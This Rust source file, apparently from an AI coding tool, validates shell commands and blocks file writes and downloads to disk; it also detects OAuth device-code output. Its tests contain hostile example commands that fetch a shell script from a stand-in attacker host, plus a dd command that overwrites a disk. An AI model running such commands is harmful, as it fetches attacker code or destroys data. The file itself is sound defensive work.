Skip to main content

lean_ctx/tools/
ctx_shell.rs

1use crate::tools::CrpMode;
2
3const MAX_COMMAND_BYTES: usize = 8192;
4
5/// Validates a shell command before execution. Returns Some(error_message) if
6/// the command should be rejected, None if it's safe to run.
7pub fn validate_command(command: &str) -> Option<String> {
8    if command.len() > MAX_COMMAND_BYTES {
9        return Some(format!(
10            "ERROR: Command too large ({} bytes, limit {}). \
11             If you're writing file content, use the native Write/Edit tool instead. \
12             ctx_shell is for reading command output only (git, cargo, npm, etc.).",
13            command.len(),
14            MAX_COMMAND_BYTES
15        ));
16    }
17
18    if has_file_write_redirect(command) {
19        return Some(
20            "ERROR: ctx_shell detected a file-write command (shell redirect > or >>). \
21             Use the native Write tool to create/modify files. \
22             ctx_shell is ONLY for reading command output (git status, cargo test, npm run, etc.). \
23             File writes via shell cause MCP protocol corruption on large payloads."
24                .to_string(),
25        );
26    }
27
28    let cmd_lower = command.to_lowercase();
29
30    if cmd_lower.starts_with("tee ") || cmd_lower.contains("| tee ") {
31        return Some(
32            "ERROR: ctx_shell detected a file-write command (tee). \
33             Use the native Write tool to create/modify files. \
34             ctx_shell is ONLY for reading command output."
35                .to_string(),
36        );
37    }
38
39    if is_heredoc_file_write(command) {
40        return Some(
41            "ERROR: ctx_shell detected a heredoc writing to a file. \
42             Use the native Write tool to create/modify files. \
43             ctx_shell is ONLY for reading command output. \
44             Note: heredocs for input piping (e.g. psql <<EOF) are allowed."
45                .to_string(),
46        );
47    }
48
49    if let Some(reason) = download_to_file_reason(command) {
50        return Some(format!(
51            "ERROR: ctx_shell detected a file download/write ({reason}). \
52             ctx_shell is ONLY for reading command output — redirect-free flags bypass \
53             this doctrine, so they are blocked too (GH #391). \
54             Fetch to stdout instead (curl <url>, wget -qO- <url>) or use the editor's \
55             native tools to create files."
56        ));
57    }
58
59    None
60}
61
62/// Detects download/copy tools writing directly to files via their own flags
63/// (`curl -o`, `wget` default mode, `dd of=`) — the redirect-free equivalent of
64/// `> file`, reported as a `validate_command` bypass in GH #391.
65fn download_to_file_reason(command: &str) -> Option<String> {
66    for seg in crate::core::shell_allowlist::extract_all_commands_pub(command) {
67        let tokens = crate::core::shell_allowlist::shell_tokenize(seg.trim());
68        let Some(first) = tokens.first() else {
69            continue;
70        };
71        let base = first.rsplit('/').next().unwrap_or(first);
72        match base {
73            "curl" => {
74                for tok in &tokens[1..] {
75                    if tok == "--output"
76                        || tok.starts_with("--output=")
77                        || tok == "--remote-name"
78                        || tok == "--remote-name-all"
79                        || tok == "--output-dir"
80                        || tok.starts_with("--output-dir=")
81                    {
82                        return Some(format!("curl {tok}"));
83                    }
84                    // Short flags cluster: -o / -O anywhere in e.g. `-fsSLo`.
85                    if tok.starts_with('-')
86                        && !tok.starts_with("--")
87                        && tok[1..].contains(['o', 'O'])
88                    {
89                        return Some(format!("curl {tok}"));
90                    }
91                }
92            }
93            "wget" => {
94                // wget writes a file BY DEFAULT; only stdout/no-download modes pass.
95                let to_stdout = tokens[1..].iter().enumerate().any(|(i, tok)| {
96                    tok == "--output-document=-"
97                        || tok == "-O-"
98                        || (tok.starts_with('-') && !tok.starts_with("--") && tok.ends_with("O-"))
99                        || ((tok == "-O" || tok == "--output-document")
100                            && tokens.get(i + 2).map(std::string::String::as_str) == Some("-"))
101                        || tok == "--spider"
102                });
103                if !to_stdout {
104                    return Some(
105                        "wget downloads to a file by default; use wget -qO- <url> for stdout"
106                            .to_string(),
107                    );
108                }
109            }
110            "dd" => {
111                for tok in &tokens[1..] {
112                    if tok.starts_with("of=") && !tok.starts_with("of=/dev/null") {
113                        return Some(format!("dd {tok}"));
114                    }
115                }
116            }
117            _ => {}
118        }
119    }
120    None
121}
122
123/// Returns true only for heredocs that redirect to files (the dangerous pattern).
124/// Legitimate heredoc uses (input piping, inline scripts) are allowed through.
125fn is_heredoc_file_write(command: &str) -> bool {
126    let has_heredoc = command.contains("<<");
127    if !has_heredoc {
128        return false;
129    }
130    // Only block: heredoc combined with file output redirect
131    // e.g. `cat <<EOF > file.txt` or `cat <<'EOF' >> output.log`
132    let cmd_lower = command.to_lowercase();
133    let heredoc_patterns = ["<<eof", "<<'eof'", "<<\"eof\"", "<<end", "<<'end'"];
134    let has_known_heredoc = heredoc_patterns.iter().any(|p| cmd_lower.contains(p));
135    if !has_known_heredoc {
136        return false;
137    }
138    has_file_write_redirect(command)
139}
140
141/// Detects shell redirect operators (`>` or `>>`) that write to files.
142/// Ignores `>` inside quotes, `2>` (stderr), `/dev/null`, and comparison operators.
143fn has_file_write_redirect(command: &str) -> bool {
144    let bytes = command.as_bytes();
145    let len = bytes.len();
146    let mut i = 0;
147    let mut in_single_quote = false;
148    let mut in_double_quote = false;
149
150    while i < len {
151        let c = bytes[i];
152        if c == b'\'' && !in_double_quote {
153            in_single_quote = !in_single_quote;
154        } else if c == b'"' && !in_single_quote {
155            in_double_quote = !in_double_quote;
156        } else if c == b'>' && !in_single_quote && !in_double_quote {
157            if i > 0 && bytes[i - 1] == b'2' {
158                i += 1;
159                continue;
160            }
161            let target_start = if i + 1 < len && bytes[i + 1] == b'>' {
162                i + 2
163            } else {
164                i + 1
165            };
166            let target: String = command[target_start..]
167                .trim_start()
168                .chars()
169                .take_while(|c| !c.is_whitespace())
170                .collect();
171            if target == "/dev/null" {
172                i += 1;
173                continue;
174            }
175            if !target.is_empty() {
176                return true;
177            }
178        }
179        i += 1;
180    }
181    false
182}
183
184/// On Windows cmd.exe, `;` is not a valid command separator.
185/// Convert `cmd1; cmd2` to `cmd1 && cmd2` when running under cmd.exe.
186pub fn normalize_command_for_shell(command: &str) -> String {
187    if !cfg!(windows) {
188        return command.to_string();
189    }
190    let (_, flag) = crate::shell::shell_and_flag();
191    if flag != "/C" {
192        return command.to_string();
193    }
194    let bytes = command.as_bytes();
195    let mut result = Vec::with_capacity(bytes.len() + 16);
196    let mut in_single = false;
197    let mut in_double = false;
198    for (i, &b) in bytes.iter().enumerate() {
199        if b == b'\'' && !in_double {
200            in_single = !in_single;
201        } else if b == b'"' && !in_single {
202            in_double = !in_double;
203        } else if b == b';' && !in_single && !in_double {
204            result.extend_from_slice(b" && ");
205            continue;
206        }
207        result.push(b);
208        let _ = i;
209    }
210    String::from_utf8(result).unwrap_or_else(|_| command.to_string())
211}
212
213/// Compresses shell command output using the unified compression pipeline.
214/// Delegates to the same exit-code-aware logic used by the CLI, so a failed
215/// command (`exit_code != 0`) is preserved verbatim and successful output is
216/// compressed consistently (excluded_commands, structural routing, terse). #810.
217pub fn handle(command: &str, output: &str, exit_code: i32, _crp_mode: CrpMode) -> String {
218    crate::shell::compress::engine::compress_for_outcome(command, output, exit_code)
219}
220
221#[cfg(test)]
222fn is_search_command(command: &str) -> bool {
223    let cmd = command.trim_start();
224    cmd.starts_with("grep ")
225        || cmd.starts_with("rg ")
226        || cmd.starts_with("find ")
227        || cmd.starts_with("fd ")
228        || cmd.starts_with("ag ")
229        || cmd.starts_with("ack ")
230}
231
232#[cfg(test)]
233fn generic_compress(output: &str) -> String {
234    let output = crate::core::compressor::strip_ansi(output);
235    let lines: Vec<&str> = output
236        .lines()
237        .filter(|l| {
238            let t = l.trim();
239            !t.is_empty()
240        })
241        .collect();
242
243    if lines.len() <= 20 {
244        return lines.join("\n");
245    }
246
247    let show_count = (lines.len() / 3).min(30);
248    let half = show_count / 2;
249    let first = &lines[..half];
250    let last = &lines[lines.len() - half..];
251    let omitted = lines.len() - (half * 2);
252    format!(
253        "{}\n[truncated: showing {}/{} lines, {} omitted. Use raw=true for full output.]\n{}",
254        first.join("\n"),
255        half * 2,
256        lines.len(),
257        omitted,
258        last.join("\n")
259    )
260}
261
262/// Detects OAuth device code flow output that must not be compressed.
263/// Uses a two-tier approach: strong signals match alone (very specific to
264/// device code flows), weak signals require a URL/domain in the same output.
265pub fn contains_auth_flow(output: &str) -> bool {
266    let lower = output.to_lowercase();
267
268    const STRONG_SIGNALS: &[&str] = &[
269        "devicelogin",
270        "deviceauth",
271        "device_code",
272        "device code",
273        "device-code",
274        "verification_uri",
275        "user_code",
276        "one-time code",
277    ];
278
279    if STRONG_SIGNALS.iter().any(|s| lower.contains(s)) {
280        return true;
281    }
282
283    const WEAK_SIGNALS: &[&str] = &[
284        "enter the code",
285        "enter this code",
286        "enter code:",
287        "use the code",
288        "use a web browser to open",
289        "open the page",
290        "authenticate by visiting",
291        "sign in with the code",
292        "sign in using a code",
293        "verification code",
294        "authorize this device",
295        "waiting for authentication",
296        "waiting for login",
297        "waiting for you to authenticate",
298        "open your browser",
299        "open in your browser",
300    ];
301
302    let has_weak_signal = WEAK_SIGNALS.iter().any(|s| lower.contains(s));
303    if !has_weak_signal {
304        return false;
305    }
306
307    lower.contains("http://") || lower.contains("https://")
308}
309
310#[cfg(test)]
311mod tests {
312    use super::*;
313
314    #[test]
315    fn normalize_cmd_no_change_on_unix() {
316        if cfg!(windows) {
317            return;
318        }
319        assert_eq!(
320            normalize_command_for_shell("cd /tmp; ls -la"),
321            "cd /tmp; ls -la"
322        );
323    }
324
325    #[test]
326    fn validate_allows_safe_commands() {
327        assert!(validate_command("git status").is_none());
328        assert!(validate_command("cargo test").is_none());
329        assert!(validate_command("npm run build").is_none());
330        assert!(validate_command("ls -la").is_none());
331    }
332
333    #[test]
334    fn validate_blocks_file_writes() {
335        assert!(validate_command("echo 'data' > output.txt").is_some());
336        assert!(validate_command("tee /tmp/file.txt").is_some());
337        assert!(validate_command("printf 'hello' > test.txt").is_some());
338    }
339
340    #[test]
341    fn validate_blocks_heredoc_with_file_redirect() {
342        assert!(validate_command("cat > file.py <<'EOF'\nprint('hi')\nEOF").is_some());
343        assert!(validate_command("cat <<EOF > output.txt\nhello\nEOF").is_some());
344        assert!(validate_command("cat <<'END' >> logfile.txt\ndata\nEND").is_some());
345    }
346
347    #[test]
348    fn validate_allows_heredoc_without_file_redirect() {
349        assert!(validate_command("cat <<EOF\nhello world\nEOF").is_none());
350        assert!(validate_command("psql -d mydb <<EOF\nSELECT 1;\nEOF").is_none());
351        assert!(
352            validate_command("git commit -m \"$(cat <<'EOF'\nfix: something\nEOF\n)\"").is_none()
353        );
354        assert!(validate_command("grep pattern <<EOF\nfoo\nbar\nEOF").is_none());
355    }
356
357    #[test]
358    fn validate_blocks_oversized_commands() {
359        let huge = "x".repeat(MAX_COMMAND_BYTES + 1);
360        let result = validate_command(&huge);
361        assert!(result.is_some());
362        assert!(result.unwrap().contains("too large"));
363    }
364
365    #[test]
366    fn validate_allows_cat_without_redirect() {
367        assert!(validate_command("cat file.txt").is_none());
368    }
369
370    // --- GH #391: download tools writing files without shell redirects ---
371
372    #[test]
373    fn validate_blocks_curl_output_flags() {
374        assert!(validate_command("curl -o /tmp/shell.sh http://attacker.com/shell.sh").is_some());
375        assert!(validate_command("curl -fsSLo /tmp/x https://example.com").is_some());
376        assert!(validate_command("curl --output evil.bin https://example.com").is_some());
377        assert!(validate_command("curl --output=evil.bin https://example.com").is_some());
378        assert!(validate_command("curl -O https://example.com/payload").is_some());
379        assert!(validate_command("git fetch && curl -o x.sh https://e.com").is_some());
380    }
381
382    #[test]
383    fn validate_allows_curl_to_stdout() {
384        assert!(validate_command("curl https://api.example.com/health").is_none());
385        assert!(validate_command("curl -fsSL https://example.com | head -5").is_none());
386        assert!(validate_command("curl -s -X POST https://api.example.com -d '{}'").is_none());
387        // -H takes a value; no o/O short flag involved.
388        assert!(validate_command("curl -H \"Accept: application/json\" https://e.com").is_none());
389    }
390
391    #[test]
392    fn validate_blocks_wget_default_file_download() {
393        assert!(validate_command("wget http://attacker.com/shell.sh").is_some());
394        assert!(validate_command("wget -q https://example.com/file.tar.gz").is_some());
395        assert!(validate_command("wget -O /tmp/out https://example.com").is_some());
396    }
397
398    #[test]
399    fn validate_allows_wget_stdout_and_spider() {
400        assert!(validate_command("wget -qO- https://example.com").is_none());
401        assert!(validate_command("wget -O- https://example.com").is_none());
402        assert!(validate_command("wget -O - https://example.com").is_none());
403        assert!(validate_command("wget --output-document=- https://example.com").is_none());
404        assert!(validate_command("wget --spider https://example.com").is_none());
405    }
406
407    #[test]
408    fn validate_blocks_dd_output_file() {
409        assert!(validate_command("dd if=/dev/zero of=/tmp/fill bs=1M count=10").is_some());
410        assert!(validate_command("dd if=image.iso of=/dev/sda").is_some());
411    }
412
413    #[test]
414    fn validate_allows_dd_read_only() {
415        assert!(validate_command("dd if=/dev/urandom bs=16 count=1 status=none").is_none());
416        assert!(validate_command("dd if=file.bin of=/dev/null bs=1M").is_none());
417    }
418
419    // --- Auth flow detection: strong signals (no URL needed) ---
420
421    #[test]
422    fn auth_flow_detects_azure_device_code() {
423        let output = "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code ABCD1234 to authenticate.";
424        assert!(contains_auth_flow(output));
425    }
426
427    #[test]
428    fn auth_flow_detects_gh_auth_one_time_code() {
429        let output = "! First copy your one-time code: ABCD-1234\n- Press Enter to open github.com in your browser...";
430        assert!(contains_auth_flow(output));
431    }
432
433    #[test]
434    fn auth_flow_detects_device_code_json() {
435        let output = r#"{"device_code":"abc123","user_code":"ABCD-1234","verification_uri":"https://example.com/activate"}"#;
436        assert!(contains_auth_flow(output));
437    }
438
439    #[test]
440    fn auth_flow_detects_verification_uri_field() {
441        let output =
442            r#"{"verification_uri": "https://login.microsoftonline.com/common/oauth2/deviceauth"}"#;
443        assert!(contains_auth_flow(output));
444    }
445
446    #[test]
447    fn auth_flow_detects_user_code_field() {
448        let output = r#"{"user_code": "FGHJK-LMNOP", "expires_in": 900}"#;
449        assert!(contains_auth_flow(output));
450    }
451
452    // --- Auth flow detection: weak signals (require URL) ---
453
454    #[test]
455    fn auth_flow_detects_gcloud_with_url() {
456        let output = "Go to the following link in your browser:\n\n    https://accounts.google.com/o/oauth2/auth?response_type=code\n\nEnter verification code: ";
457        assert!(contains_auth_flow(output));
458    }
459
460    #[test]
461    fn auth_flow_detects_aws_sso_with_url() {
462        let output = "If the browser does not open, open the following URL:\nhttps://device.sso.us-east-1.amazonaws.com/\n\nThen enter the code:\nABCD-EFGH";
463        assert!(contains_auth_flow(output));
464    }
465
466    #[test]
467    fn auth_flow_detects_firebase_with_url() {
468        let output = "Visit this URL on this device to log in:\nhttps://accounts.google.com/o/oauth2/auth?...\n\nWaiting for authentication...";
469        assert!(contains_auth_flow(output));
470    }
471
472    #[test]
473    fn auth_flow_detects_generic_browser_open_with_url() {
474        let output =
475            "Open your browser to https://login.example.com/device and enter the code XYZW-1234";
476        assert!(contains_auth_flow(output));
477    }
478
479    // --- False positive protection ---
480
481    #[test]
482    fn auth_flow_ignores_normal_build_output() {
483        let output = "Compiling lean-ctx v2.21.9\nFinished release profile\n";
484        assert!(!contains_auth_flow(output));
485    }
486
487    #[test]
488    fn auth_flow_ignores_git_output() {
489        let output = "On branch main\nYour branch is up to date with 'origin/main'.\nnothing to commit, working tree clean";
490        assert!(!contains_auth_flow(output));
491    }
492
493    #[test]
494    fn auth_flow_ignores_npm_install_output() {
495        let output = "added 150 packages in 3s\n\n24 packages are looking for funding\n  run `npm fund` for details\nhttps://npmjs.com/package/lean-ctx";
496        assert!(!contains_auth_flow(output));
497    }
498
499    #[test]
500    fn auth_flow_ignores_docs_mentioning_auth() {
501        let output = "The authorization code grant type is the most common OAuth flow.\nSee https://oauth.net/2/grant-types/ for details.";
502        assert!(!contains_auth_flow(output));
503    }
504
505    #[test]
506    fn auth_flow_weak_signal_requires_url() {
507        let output = "Please enter the code ABC123 in the terminal";
508        assert!(!contains_auth_flow(output));
509    }
510
511    #[test]
512    fn auth_flow_weak_signal_without_url_is_ignored() {
513        let output = "Waiting for authentication to complete... done!";
514        assert!(!contains_auth_flow(output));
515    }
516
517    #[test]
518    fn auth_flow_ignores_virtualenv_activate() {
519        let output = "Created virtualenv at .venv\nRun: source .venv/bin/activate";
520        assert!(!contains_auth_flow(output));
521    }
522
523    #[test]
524    fn auth_flow_ignores_api_response_with_code_field() {
525        let output = r#"{"status": "ok", "code": 200, "message": "success"}"#;
526        assert!(!contains_auth_flow(output));
527    }
528
529    // --- Integration: handle() preserves auth flow ---
530
531    #[test]
532    fn handle_preserves_auth_flow_output_fully() {
533        let output = "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code ABCD1234 to authenticate.\nWaiting for you...\nLine 3\nLine 4\nLine 5\nLine 6\nLine 7\nLine 8\nLine 9\nLine 10\nLine 11\nLine 12\nLine 13";
534        // az login is Passthrough via OutputPolicy, so all content is preserved
535        let result = handle("az login --use-device-code", output, 0, CrpMode::Off);
536        assert!(result.contains("ABCD1234"), "auth code must be preserved");
537        assert!(result.contains("devicelogin"), "URL must be preserved");
538        assert!(
539            result.contains("Line 13"),
540            "all lines must be preserved (no truncation)"
541        );
542    }
543
544    #[test]
545    fn handle_compresses_normal_output_not_auth() {
546        let lines: Vec<String> = (1..=20).map(|i| format!("Line {i} of output")).collect();
547        let output = lines.join("\n");
548        let result = handle("some-tool check", &output, 0, CrpMode::Off);
549        assert!(
550            !result.contains("auth/device-code flow detected"),
551            "normal output must not trigger auth detection"
552        );
553        assert!(
554            result.len() < output.len() + 100,
555            "normal output should be compressed, not inflated"
556        );
557    }
558
559    #[test]
560    fn is_search_command_detects_grep() {
561        assert!(is_search_command("grep -r pattern src/"));
562        assert!(is_search_command("rg pattern src/"));
563        assert!(is_search_command("find . -name '*.rs'"));
564        assert!(is_search_command("fd pattern"));
565        assert!(is_search_command("ag pattern src/"));
566        assert!(is_search_command("ack pattern"));
567    }
568
569    #[test]
570    fn is_search_command_rejects_non_search() {
571        assert!(!is_search_command("cargo build"));
572        assert!(!is_search_command("git status"));
573        assert!(!is_search_command("npm install"));
574        assert!(!is_search_command("cat file.rs"));
575    }
576
577    #[test]
578    fn generic_compress_preserves_short_output() {
579        let lines: Vec<String> = (1..=20).map(|i| format!("Line {i}")).collect();
580        let output = lines.join("\n");
581        let result = generic_compress(&output);
582        assert_eq!(result, output);
583    }
584
585    #[test]
586    fn generic_compress_scales_with_length() {
587        let lines: Vec<String> = (1..=60).map(|i| format!("Line {i}")).collect();
588        let output = lines.join("\n");
589        let result = generic_compress(&output);
590        assert!(result.contains("truncated"));
591        let shown_count = result.lines().count();
592        assert!(
593            shown_count > 10,
594            "should show more than old 6-line limit, got {shown_count}"
595        );
596        assert!(shown_count < 60, "should be truncated, not full output");
597    }
598
599    #[test]
600    fn handle_preserves_search_results() {
601        let lines: Vec<String> = (1..=30)
602            .map(|i| format!("src/file{i}.rs:42: fn search_result()"))
603            .collect();
604        let output = lines.join("\n");
605        let result = handle("rg search_result src/", &output, 0, CrpMode::Off);
606        for i in 1..=30 {
607            assert!(
608                result.contains(&format!("file{i}")),
609                "search result file{i} should be preserved in output"
610            );
611        }
612    }
613}